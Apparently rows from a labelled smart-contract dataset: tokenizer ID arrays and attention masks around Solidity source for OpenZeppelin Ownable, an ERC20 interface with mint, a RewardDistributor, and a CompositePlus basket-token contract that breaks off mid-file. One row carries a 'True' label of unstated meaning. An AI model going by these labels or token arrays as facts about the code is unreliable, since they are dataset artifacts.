3091,
13990,
1000,
1007,
1025,
2709,
5164,
1006,
17698,
1007,
1025,
1065,
1065,
10061,
3206,
6123,
1063,
3853,
1035,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity 0.5.15;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity 0.5.15;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity 0.5.15;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
function mint(address account, uint256 amount) external;
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity 0.5.15;
interface IRewardDistributionRecipient {
function notifyRewardAmountAndDuration(uint256 rewardRate, uint256 duration)
external;
}
contract RewardDistributor is Ownable {
IERC20 public yuan;
mapping(address => bool) public isRecipient;
event RecipientAdded(address recipient);
event RecipientRemoved(address recipient);
constructor(address yuan_) public {
yuan = IERC20(yuan_);
}
function setRecipientRewardAndDuration(
address recipient,
uint256 reward,
uint256 duration
) public onlyOwner {
require(isRecipient[recipient], "recipient has not been added");
IRewardDistributionRecipient(recipient).notifyRewardAmountAndDuration(
reward,
duration
);
}
function transferReward(address to, uint256 value) external {
require(isRecipient[msg.sender], "recipient has not been added");
yuan.mint(to, value);
}
function addRecipient(address recipient) public onlyOwner {
if (!isRecipient[recipient]) {
isRecipient[recipient] = true;
emit RecipientAdded(recipient);
}
}
/**
* @notice This should not be a normal operation
* To stop the reward distribution of a specific recipient, just set the reward to 0.
* Removing receipient means no reward can be claimed from it.
*/
function removeRecipient(address recipient) external onlyOwner {
if (isRecipient[recipient]) {
isRecipient[recipient] = false;
emit RecipientRemoved(recipient);
}
}
/**
* @param recipient The address of staking pool to distribute reward.
* @param reward The amount to distribute, with base scalingFactor.
* @param duration The period to distribute.
*/
function addRecipientAndSetReward(
address recipient,
uint256 reward,
uint256 duration
) external onlyOwner {
addRecipient(recipient);
setRecipientRewardAndDuration(recipient, reward, duration);
}
} | True | [
101,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
28177,
2078,
1013,
6123,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1019,
1012,
2321,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
28177,
2078,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
3206,
6123,
1063,
1013,
1013,
4064,
4722,
9570,
2953,
1010,
2000,
4652,
2111,
2013,
20706,
21296,
2075,
1013,
1013,
2019,
6013,
1997,
2023,
3206,
1010,
2029,
2323,
2022,
2109,
3081,
12839,
1012,
9570,
2953,
1006,
1007,
4722,
1063,
1065,
1013,
1013,
14017,
10606,
2102,
1011,
4487,
19150,
1011,
3025,
1011,
2240,
2053,
1011,
4064,
1011,
5991,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
6095,
1013,
2219,
3085,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1019,
1012,
2321,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3206,
11336,
2029,
3640,
1037,
3937,
3229,
2491,
7337,
1010,
2073,
1008,
2045,
2003,
2019,
4070,
1006,
2019,
3954,
1007,
2008,
2064,
2022,
4379,
7262,
3229,
2000,
1008,
3563,
4972,
1012,
1008,
1008,
2023,
11336,
2003,
2109,
2083,
12839,
1012,
2009,
2097,
2191,
2800,
1996,
16913,
18095,
1008,
1036,
2069,
12384,
2121,
1036,
1010,
2029,
2064,
2022,
4162,
2000,
2115,
4972,
2000,
21573,
2037,
2224,
2000,
1008,
1996,
3954,
1012,
1008,
1013,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3988,
10057,
1996,
3206,
4292,
1996,
21296,
2121,
2004,
1996,
3988,
3954,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
4722,
1063,
1035,
3954,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
1035,
3954,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4769,
1997,
1996,
2783,
3954,
1012,
1008,
1013,
3853,
3954,
1006,
1007,
2270,
3193,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
3954,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "./interfaces/IRebalancer.sol";
import "./interfaces/ICompositePlus.sol";
import "./Plus.sol";
/**
* @title Composite plus token.
*
* A composite plus token is backed by a basket of plus token. The composite plus token,
* along with its underlying tokens in the basket, should have the same peg.
*/
contract CompositePlus is ICompositePlus, Plus, ReentrancyGuardUpgradeable {
using SafeERC20Upgradeable for IERC20Upgradeable;
using SafeMathUpgradeable for uint256;
event Minted(address indexed user, address[] tokens, uint256[] amounts, uint256 mintShare, uint256 mintAmount);
event Redeemed(address indexed user, address[] tokens, uint256[] amounts, uint256 redeemShare, uint256 redeemAmount, uint256 fee);
event RebalancerUpdated(address indexed rebalancer, bool enabled);
event MinLiquidityRatioUpdated(uint256 oldRatio, uint256 newRatio);
event TokenAdded(address indexed token);
event TokenRemoved(address indexed token);
event Rebalanced(uint256 underlyingBefore, uint256 underlyingAfter, uint256 supply);
// The underlying plus tokens that constitutes the composite plus token.
address[] public override tokens;
// Mapping: Token address => Whether the token is an underlying token.
mapping(address => bool) public override tokenSupported;
// Mapping: Token address => Whether minting with token is paused
mapping(address => bool) public mintPaused;
// Mapping: Address => Whether this is a rebalancer contract.
mapping(address => bool) public rebalancers;
// Liquidity ratio = Total supply / Total underlying
// Liquidity ratio should larger than 1 in most cases except a short period after rebalance.
// Minimum liquidity ratio sets the upper bound of impermanent loss caused by rebalance.
uint256 public minLiquidityRatio;
/**
* @dev Initlaizes the composite plus token.
*/
function initialize(string memory _name, string memory _symbol) public initializer {
__PlusToken__init(_name, _symbol);
__ReentrancyGuard_init();
}
/**
* @dev Returns the total value of the plus token in terms of the peg value.
* All underlying token amounts have been scaled to 18 decimals and expressed in WAD.
*/
function _totalUnderlyingInWad() internal view virtual override returns (uint256) {
uint256 _amount = 0;
for (uint256 i = 0; i < tokens.length; i++) {
// Since all underlying tokens in the baskets are plus tokens with the same value peg, the amount
// minted is the amount of all plus tokens in the basket added.
// Note: All plus tokens, single or composite, have 18 decimals.
_amount = _amount.add(IERC20Upgradeable(tokens[i]).balanceOf(address(this)));
}
// Plus tokens are in 18 decimals, need to return in WAD.
return _amount.mul(WAD);
}
/**
* @dev Returns the amount of composite plus tokens minted with the tokens provided.
* @dev _tokens The tokens used to mint the composite plus token.
* @dev _amounts Amount of tokens used to mint the composite plus token.
*/
function getMintAmount(address[] calldata _tokens, uint256[] calldata _amounts) external view returns(uint256) {
require(_tokens.length == _amounts.length, "invalid input");
uint256 _amount = 0;
for (uint256 i = 0; i < _tokens.length; i++) {
require(!mintPaused[_tokens[i]], "token paused");
require(tokenSupported[_tokens[i]], "token not supported");
if (_amounts[i] == 0) continue;
// Since all underlying tokens in the baskets are plus tokens with the same value peg, the amount
// minted is the amount of all tokens to mint added.
// Note: All plus tokens, single or composite, have 18 decimals.
_amount = _amount.add(_amounts[i]);
}
return _amount;
}
/**
* @dev Mints composite plus tokens with underlying tokens provided.
* @dev _tokens The tokens used to mint the composite plus token. The composite plus token must have sufficient allownance on the token.
* @dev _amounts Amount of tokens used to mint the composite plus token.
*/
function mint(address[] calldata _tokens, uint256[] calldata _amounts) external override nonReentrant {
require(_tokens.length == _amounts.length, "invalid input");
// Rebase first to make index up-to-date
rebase();
uint256 _amount = 0;
for (uint256 i = 0; i < _tokens.length; i++) {
require(tokenSupported[_tokens[i]], "token not supported");
require(!mintPaused[_tokens[i]], "token paused");
if (_amounts[i] == 0) continue;
_amount = _amount.add(_amounts[i]);
// Transfers the token into pool.
IERC20Upgradeable(_tokens[i]).safeTransferFrom(msg.sender, address(this), _amounts[i]);
}
uint256 _share = _amount.mul(WAD).div(index);
uint256 _oldShare = userShare[msg.sender];
uint256 _newShare = _oldShare.add(_share);
uint256 _totalShares = totalShares.add(_share);
totalShares = _totalShares;
userShare[msg.sender] = _newShare;
emit UserShareUpdated(msg.sender, _oldShare, _newShare, _totalShares);
emit Minted(msg.sender, _tokens, _amounts, _share, _amount);
}
/**
* @dev Returns the amount of tokens received in redeeming the composite plus token.
* @param _amount Amounf of composite plus to redeem.
* @return Addresses and amounts of tokens returned as well as fee collected.
*/
function getRedeemAmount(uint256 _amount) external view returns (address[] memory, uint256[] memory, uint256, uint256) {
require(_amount > 0, "zero amount");
// Special handling of -1 is required here in order to fully redeem all shares, since interest
// will be accrued between the redeem transaction is signed and mined.
uint256 _share;
if (_amount == uint256(int256(-1))) {
_share = userShare[msg.sender];
_amount = _share.mul(index).div(WAD);
} else {
_share = _amount.mul(WAD).div(index);
}
// Withdraw ratio = min(liquidity ratio, 1 - redeem fee)
// Liquidity ratio is in WAD and redeem fee is in 0.01%
uint256 _withdrawAmount1 = _amount.mul(liquidityRatio()).div(WAD);
uint256 _withdrawAmount2 = _amount.mul(MAX_PERCENT - redeemFee).div(MAX_PERCENT);
uint256 _withdrawAmount = MathUpgradeable.min(_withdrawAmount1, _withdrawAmount2);
uint256 _fee = _amount.sub(_withdrawAmount);
address[] memory _redeemTokens = tokens;
uint256[] memory _redeemAmounts = new uint256[](_redeemTokens.length);
uint256 _totalSupply = totalSupply();
for (uint256 i = 0; i < _redeemTokens.length; i++) {
uint256 _balance = IERC20Upgradeable(_redeemTokens[i]).balanceOf(address(this));
if (_balance == 0) continue;
_redeemAmounts[i] = _balance.mul(_withdrawAmount).div(_totalSupply);
}
return (_redeemTokens, _redeemAmounts, _share, _fee);
}
/**
* @dev Redeems the composite plus token. In the current implementation only proportional redeem is supported.
* @param _amount Amount of composite plus token to redeem. -1 means redeeming all shares.
*/
function redeem(uint256 _amount) external override nonReentrant {
require(_amount > 0, "zero amount");
// Rebase first to make index up-to-date
rebase();
// Special handling of -1 is required here in order to fully redeem all shares, since interest
// will be accrued between the redeem transaction is signed and mined.
uint256 _share;
if (_amount == uint256(int256(-1))) {
_share = userShare[msg.sender];
_amount = _share.mul(index).div(WAD);
} else {
_share = _amount.mul(WAD).div(index);
}
// Withdraw ratio = min(liquidity ratio, 1 - redeem fee)
uint256 _withdrawAmount1 = _amount.mul(liquidityRatio()).div(WAD);
uint256 _withdrawAmount2 = _amount.mul(MAX_PERCENT - redeemFee).div(MAX_PERCENT);
uint256 _withdrawAmount = MathUpgradeable.min(_withdrawAmount1, _withdrawAmount2);
uint256 _fee = _amount.sub(_withdrawAmount);
address[] memory _redeemTokens = tokens;
uint256[] memory _redeemAmounts = new uint256[](_redeemTokens.length);
uint256 _totalSupply = totalSupply();
for (uint256 i = 0; i < _redeemTokens.length; i++) {
uint256 _balance = IERC20Upgradeable(_redeemTokens[i]).balanceOf(address(this));
if (_balance == 0) continue;
_redeemAmounts[i] = _balance.mul(_withdrawAmount).div(_totalSupply);
IERC20Upgradeable(_redeemTokens[i]).safeTransfer(msg.sender, _redeemAmounts[i]);
}
// Updates the balance
uint256 _oldShare = userShare[msg.sender];
uint256 _newShare = _oldShare.sub(_share);
totalShares = totalShares.sub(_share);
userShare[msg.sender] = _newShare;
emit UserShareUpdated(msg.sender, _oldShare, _newShare, totalShares);
emit Redeemed(msg.sender, _redeemTokens, _redeemAmounts, _share, _amount, _fee);
}
/**
* @dev Updates the mint paused state of a token.
* @param _token Token to update mint paused.
* @param _paused Whether minting with that token is paused.
*/
function setMintPaused(address _token, bool _paused) external onlyStrategist {
require(tokenSupported[_token], "not supported");
require(mintPaused[_token] != _paused, "no change");
mintPaused[_token] = _paused;
emit MintPausedUpdated(_token, _paused);
}
/**
* @dev Adds a new rebalancer. Only governance can add new rebalancers.
*/
function addRebalancer(address _rebalancer) external onlyGovernance {
require(_rebalancer != address(0x0), "rebalancer not set");
require(!rebalancers[_rebalancer], "rebalancer exist");
rebalancers[_rebalancer] = true;
emit RebalancerUpdated(_rebalancer, true);
}
/**
* @dev Remove an existing rebalancer. Only strategist can remove existing rebalancers.
*/
function removeRebalancer(address _rebalancer) external onlyStrategist {
require(rebalancers[_rebalancer], "rebalancer exist");
rebalancers[_rebalancer] = false;
emit RebalancerUpdated(_rebalancer, false);
}
/**
* @dev Udpates the minimum liquidity ratio. Only governance can update minimum liquidity ratio.
*/
function setMinLiquidityRatio(uint256 _minLiquidityRatio) external onlyGovernance {
require(_minLiquidityRatio <= WAD, "overflow");
require(_minLiquidityRatio <= liquidityRatio(), "ratio too big");
uint256 _oldRatio = minLiquidityRatio;
minLiquidityRatio = _minLiquidityRatio;
emit MinLiquidityRatioUpdated(_oldRatio, _minLiquidityRatio);
}
/**
* @dev Adds a new plus token to the basket. Only governance can add new plus token.
* @param _token The new plus token to add.
*/
function addToken(address _token) external onlyGovernance {
require(_token != address(0x0), "token not set");
require(!tokenSupported[_token], "token exists");
tokenSupported[_token] = true;
tokens.push(_token);
emit TokenAdded(_token);
}
/**
* @dev Removes a plus token from the basket. Only governance can remove a plus token.
* Note: A token cannot be removed if it's balance is not zero!
* @param _token The plus token to remove from the basket.
*/
function removeToken(address _token) external onlyGovernance {
require(tokenSupported[_token], "token not exists");
require(IERC20Upgradeable(_token).balanceOf(address(this)) == 0, "nonzero balance");
uint256 _tokenSize = tokens.length;
uint256 _tokenIndex = _tokenSize;
for (uint256 i = 0; i < _tokenSize; i++) {
if (tokens[i] == _token) {
_tokenIndex = i;
break;
}
}
// We must have found the token!
assert(_tokenIndex < _tokenSize);
tokens[_tokenIndex] = tokens[_tokenSize - 1];
tokens.pop();
delete tokenSupported[_token];
// Delete the mint paused state as well
delete mintPaused[_token];
emit TokenRemoved(_token);
}
/**
* @dev Return the total number of tokens.
*/
function tokenSize() external view returns (uint256) {
return tokens.length;
}
/**
* @dev Rebalances the basket, e.g. for a better yield. Only strategist can perform rebalance.
* @param _tokens Address of the tokens to withdraw from the basket.
* @param _amounts Amounts of the tokens to withdraw from the basket.
* @param _rebalancer Address of the rebalancer contract to invoke.
* @param _data Data to invoke on rebalancer contract.
*/
function rebalance(address[] memory _tokens, uint256[] memory _amounts, address _rebalancer, bytes calldata _data) external onlyStrategist {
require(rebalancers[_rebalancer], "invalid rebalancer");
require(_tokens.length == _amounts.length, "invalid input");
// Rebase first to make index up-to-date
rebase();
uint256 _underlyingBefore = _totalUnderlyingInWad();
for (uint256 i = 0; i < _tokens.length; i++) {
require(tokenSupported[_tokens[i]], "token not supported");
if (_amounts[i] == 0) continue;
IERC20Upgradeable(_tokens[i]).safeTransfer(_rebalancer, _amounts[i]);
}
// Invokes rebalancer contract.
IRebalancer(_rebalancer).rebalance(_tokens, _amounts, _data);
// Check post-rebalance conditions.
uint256 _underlyingAfter = _totalUnderlyingInWad();
uint256 _supply = totalSupply();
// _underlyingAfter / _supply > minLiquidityRatio
require(_underlyingAfter > _supply.mul(minLiquidityRatio), "too much loss");
emit Rebalanced(_underlyingBefore, _underlyingAfter, _supply);
}
/**
* @dev Checks whether a token can be salvaged via salvageToken().
* @param _token Token to check salvageability.
*/
function _salvageable(address _token) internal view override returns (bool) {
// For composite plus, all tokens in the basekt cannot be salvaged!
return !tokenSupported[_token];
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "./interfaces/IPlus.sol";
/**
* @title Plus token base contract.
*
* Plus token is a value pegged ERC20 token which provides global interest to all holders.
* It can be categorized as single plus token and composite plus token:
*
* Single plus token is backed by one ERC20 token and targeted at yield generation.
* Composite plus token is backed by a basket of ERC20 token and targeted at better basket management.
*/
abstract contract Plus is ERC20Upgradeable, IPlus {
using SafeERC20Upgradeable for IERC20Upgradeable;
using SafeMathUpgradeable for uint256;
/**
* @dev Emitted each time the share of a user is updated.
*/
event UserShareUpdated(address indexed account, uint256 oldShare, uint256 newShare, uint256 totalShares);
event Rebased(uint256 oldIndex, uint256 newIndex, uint256 totalUnderlying);
event Donated(address indexed account, uint256 amount, uint256 share);
event GovernanceUpdated(address indexed oldGovernance, address indexed newGovernance);
event StrategistUpdated(address indexed strategist, bool allowed);
event TreasuryUpdated(address indexed oldTreasury, address indexed newTreasury);
event RedeemFeeUpdated(uint256 oldFee, uint256 newFee);
event MintPausedUpdated(address indexed token, bool paused);
uint256 public constant MAX_PERCENT = 10000; // 0.01%
uint256 public constant WAD = 1e18;
/**
* @dev Struct to represent a rebase hook.
*/
struct Transaction {
bool enabled;
address destination;
bytes data;
}
// Rebase hooks
Transaction[] public transactions;
uint256 public totalShares;
mapping(address => uint256) public userShare;
// The exchange rate between total shares and BTC+ total supply. Express in WAD.
// It's equal to the amount of plus token per share.
// Note: The index will never decrease!
uint256 public index;
address public override governance;
mapping(address => bool) public override strategists;
address public override treasury;
// Governance parameters
uint256 public redeemFee;
// EIP 2612: Permit
// Credit: https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
